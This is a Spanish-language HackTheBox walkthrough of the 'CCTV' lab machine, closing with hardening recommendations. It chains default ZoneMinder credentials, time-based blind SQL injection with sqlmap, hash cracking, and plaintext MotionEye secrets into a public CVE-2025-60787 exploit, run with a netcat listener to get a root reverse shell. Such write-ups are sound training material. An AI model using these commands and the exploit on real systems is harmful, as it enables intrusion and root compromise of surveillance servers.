HackTheBox

CCTV



Key Findings


Durante el análisis de seguridad de la máquina CCTV se identificaron las siguientes vulnerabilidades críticas:

  • ZoneMinder con credenciales por defecto (admin:admin)
  • Inyección SQL Time-based Blind en parámetro de URI
  • Credenciales de usuarios almacenadas en base de datos MySQL
  • Servicio MotionEye v0.43.1b4 ejecutándose como root
  • Contraseñas en texto plano en archivos de configuración
  • Puerto 8765 accesible internamente sin autenticación robusta
  • Vulnerabilidad RCE en MotionEye (CVE-2025-60787)

Key Learning Objectives


Los objetivos de aprendizaje clave en esta máquina incluyen:

  • ✅ Port Scanning & Service Enumeration
  • ✅ ZoneMinder Surveillance System Analysis
  • ✅ SQL Injection Time-based Blind Exploitation
  • ✅ SQLMap Advanced Usage & Database Dumping
  • ✅ Password Hash Cracking with John the Ripper
  • ✅ Linux Service Enumeration with Linpeas
  • ✅ SSH Local Port Forwarding
  • ✅ MotionEye RCE Exploitation - CVE-2025-60787

Reconnaissance & Enumeration


El reconocimiento inicial se realizó utilizando Nmap para identificar puertos abiertos y servicios en ejecución.

❯ sudo nmap -p- --open -n -Pn -vvv -oG ports 10.129.7.87 --min-rate=2500

Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-15 15:53 +0100
Initiating SYN Stealth Scan at 15:53
Scanning 10.129.7.87 [65535 ports]
Discovered open port 80/tcp on 10.129.7.87
Discovered open port 22/tcp on 10.129.7.87
Completed SYN Stealth Scan at 15:53, 29.65s elapsed (65535 total ports)

❯ sudo nmap -p 22,80 -sCV -oN services 10.129.7.87

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|_  256 76:1d:73:98:fa:05:f7:0b:04:c2:3b:c4:7d:e6:db:4a (ECDSA)
80/tcp open  http    Apache httpd 2.4.58
|_http-title: SecureVision CCTV & Security Solutions
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Resultados:

  • Puerto 22/tcp: OpenSSH 9.6p1 Ubuntu
  • Puerto 80/tcp: Apache httpd 2.4.58
  • Título HTTP: SecureVision CCTV & Security Solutions

Web Application Assessment


Al acceder a la aplicación web en el puerto 80, observamos la página principal de SecureVision CCTV & Security Solutions.


ZoneMinder Access


Al hacer clic en "Staff Login", somos redirigidos a un formulario de autenticación.

Probamos con credenciales por defecto admin:admin y obtenemos acceso exitoso al panel de ZoneMinder ubicado en /zm.

Una vez autenticados, podemos identificar la versión del sistema de vigilancia ZoneMinder.


SQL Injection - Database Enumeration


Se identificó una vulnerabilidad de inyección SQL en el parámetro de URI. Utilizamos SQLMap para enumerar las bases de datos disponibles:

❯ sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1*" \
  --host=cctv.htb \
  --cookie="ZMSESSID=2lkice6clu9r69ohl12p61brrv" \
  --batch \
  --dbs

SQLMap identificó el siguiente punto de inyección:

Parameter: #1* (URI)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1 AND (SELECT 7479 FROM (SELECT(SLEEP(5)))rizx)

available databases [3]:
[*] information_schema
[*] performance_schema
[*] zm

Enumeramos las tablas de la base de datos zm:

❯ sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1*" \
  --host=cctv.htb \
  --cookie="ZMSESSID=2lkice6clu9r69ohl12p61brrv" \
  --dbms=MySQL \
  --technique=T \
  --time-sec=3 \
  -D zm \
  --tables \
  --batch

Entre las 43 tablas encontradas, identificamos la tabla Users como objetivo principal.

Enumeramos las columnas de la tabla Users:

❯ sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1*" \
  --host=cctv.htb \
  --cookie="ZMSESSID=3pebkuj13uh8fdvje97vs5f760" \
  --dbms=MySQL \
  --technique=T \
  --time-sec=5 \
  -D zm \
  -T Users \
  --columns \
  --hex \
  --batch \
  --delay=2

Dumpeamos las columnas Username y Password:

❯ sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1*" \
  --host=cctv.htb \
  --cookie="ZMSESSID=3pebkuj13uh8fdvje97vs5f760" \
  --dbms=MySQL \
  --technique=T \
  --time-sec=5 \
  -D zm \
  -T Users \
  -C Username,Password \
  --dump \
  --hex \
  --batch \
  --delay=2

Obtuvimos 3 usuarios con sus respectivos hashes de contraseñas.


Credential Cracking


Guardamos los hashes en un archivo y utilizamos John the Ripper para crackearlos:

❯ john --wordlist=/usr/share/wordlists/rockyou.txt zm_users.hashes.txt

Encontramos la contraseña del usuario mark:

  • Usuario: mark
  • Contraseña: opensesame

SSH Access & System Enumeration


Utilizamos las credenciales obtenidas para conectarnos al servicio SSH:

❯ ssh mark@cctv.htb

Una vez dentro del sistema, ejecutamos Linpeas para enumerar posibles vectores de escalada de privilegios.


MotionEye Service Discovery


Linpeas reveló información crítica sobre un servicio ejecutándose como root:

motioneye.service                        loaded active running motionEye Server
  Potential issue in service: motioneye.service
  └─ RUNS_AS_ROOT: Service runs as root

Además, se identificó que el puerto 8765 está abierto localmente.

Examinamos el archivo de servicio de systemd:

mark@cctv:~$ cat /etc/systemd/system/motioneye.service

[Unit]
Description=motionEye Server
After=network.target local-fs.target remote-fs.target

[Service]
User=root
RuntimeDirectory=motioneye
LogsDirectory=motioneye
StateDirectory=motioneye
ExecStart=/usr/local/bin/meyectl startserver -c /etc/motioneye/motioneye.conf
Restart=on-abort

[Install]
WantedBy=multi-user.target

Revisamos el archivo de configuración principal:

mark@cctv:~$ cat /etc/motioneye/motioneye.conf

# the TCP port to listen on
port 8765

Y encontramos credenciales en el archivo de configuración de motion:

mark@cctv:~$ cat /etc/motioneye/motion.conf

# @admin_username admin 
# @normal_username user
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
# @lang en
# @enabled on
# @normal_password 

setup_mode off
webcontrol_port 7999
webcontrol_interface 1
webcontrol_localhost on
webcontrol_parms 2

camera camera-1.conf

Credenciales encontradas:

  • Usuario: admin
  • Contraseña: 989c5a8ee87a0e9521ec81a79187d162109282f0

SSH Port Forwarding


Dado que el puerto 8765 solo está accesible localmente, establecemos un túnel SSH para acceder al servicio desde nuestra máquina atacante:

❯ ssh -L 8765:127.0.0.1:8765 mark@cctv.htb


MotionEye Access


Ahora podemos acceder al servicio MotionEye desde nuestro navegador en http://127.0.0.1:8765.

Utilizamos las credenciales encontradas (admin:989c5a8ee87a0e9521ec81a79187d162109282f0) y obtenemos acceso exitoso.

Identificamos la versión del servicio:

  • Servicio: MotionEye
  • Versión: 0.43.1b4

RCE Exploitation - CVE-2025-60787


Investigando la versión de MotionEye, encontramos que es vulnerable a CVE-2025-60787, una vulnerabilidad de ejecución remota de código (RCE).

Clonamos el repositorio del exploit:

❯ git clone https://github.com/gunzf0x/CVE-2025-60787.git
❯ cd CVE-2025-60787

Preparamos un listener para recibir la reverse shell:

❯ nc -lvp 4444

Ejecutamos el exploit:

❯ python3 CVE-2025-60787.py revshell \
  --url 'http://127.0.0.1:8765' \
  --user 'admin' \
  --password '989c5a8ee87a0e9521ec81a79187d162109282f0' \
  -i 10.10.16.138 \
  --port 4444


Root Access Achievement


Recibimos la reverse shell con privilegios de root, ya que el servicio MotionEye se ejecuta como root:


Recommendations



Immediate Actions


1. ZoneMinder Security

  • Cambiar credenciales por defecto (admin:admin) inmediatamente
  • Aplicar parches de seguridad para vulnerabilidades de SQL Injection
  • Implementar autenticación robusta con políticas de contraseñas fuertes
  • Actualizar ZoneMinder a la última versión disponible

2. Database Security

  • Implementar prepared statements para prevenir SQL Injection
  • Usar hashes de contraseñas con algoritmos seguros (bcrypt, Argon2)
  • Implementar rate limiting en endpoints vulnerables
  • Restringir acceso directo a la base de datos

3. MotionEye Service Hardening

  • Actualizar MotionEye a la última versión con parches de CVE-2025-60787
  • NO ejecutar servicios de aplicación como root
  • Crear usuario de servicio dedicado con privilegios mínimos
  • Restringir acceso al puerto 8765 mediante firewall

4. Configuration File Security

  • Eliminar contraseñas en texto plano de archivos de configuración
  • Implementar gestión de secretos con vault o similar
  • Aplicar permisos restrictivos en archivos de configuración (600 o 640)
  • Auditar regularmente archivos de configuración

Long-term Security Improvements


1. Access Controls

  • Implementar principio de mínimo privilegio en todos los servicios
  • Usar autenticación multifactor para servicios críticos
  • Implementar VPN o túnel seguro para acceso a interfaces de gestión
  • Segmentación de red para aislar sistemas de vigilancia

2. Service Hardening

  • Ejecutar servicios en contenedores con privilegios limitados
  • Implementar AppArmor o SELinux para restricción de procesos
  • Regular auditoría de servicios ejecutándose como root
  • Implementar systemd hardening features (PrivateTmp, ProtectSystem, etc.)

3. Monitoring & Detection

  • Implementar IDS/IPS para detectar intentos de SQL Injection
  • Monitorear accesos a archivos de configuración sensibles
  • Alertas para ejecución de comandos privilegiados anómalos
  • Logging centralizado de todos los servicios de vigilancia

4. Vulnerability Management

  • Programa de gestión de vulnerabilidades y parches regulares
  • Escaneos de seguridad automatizados semanales
  • Pruebas de penetración periódicas
  • Suscripción a alertas de seguridad para ZoneMinder y MotionEye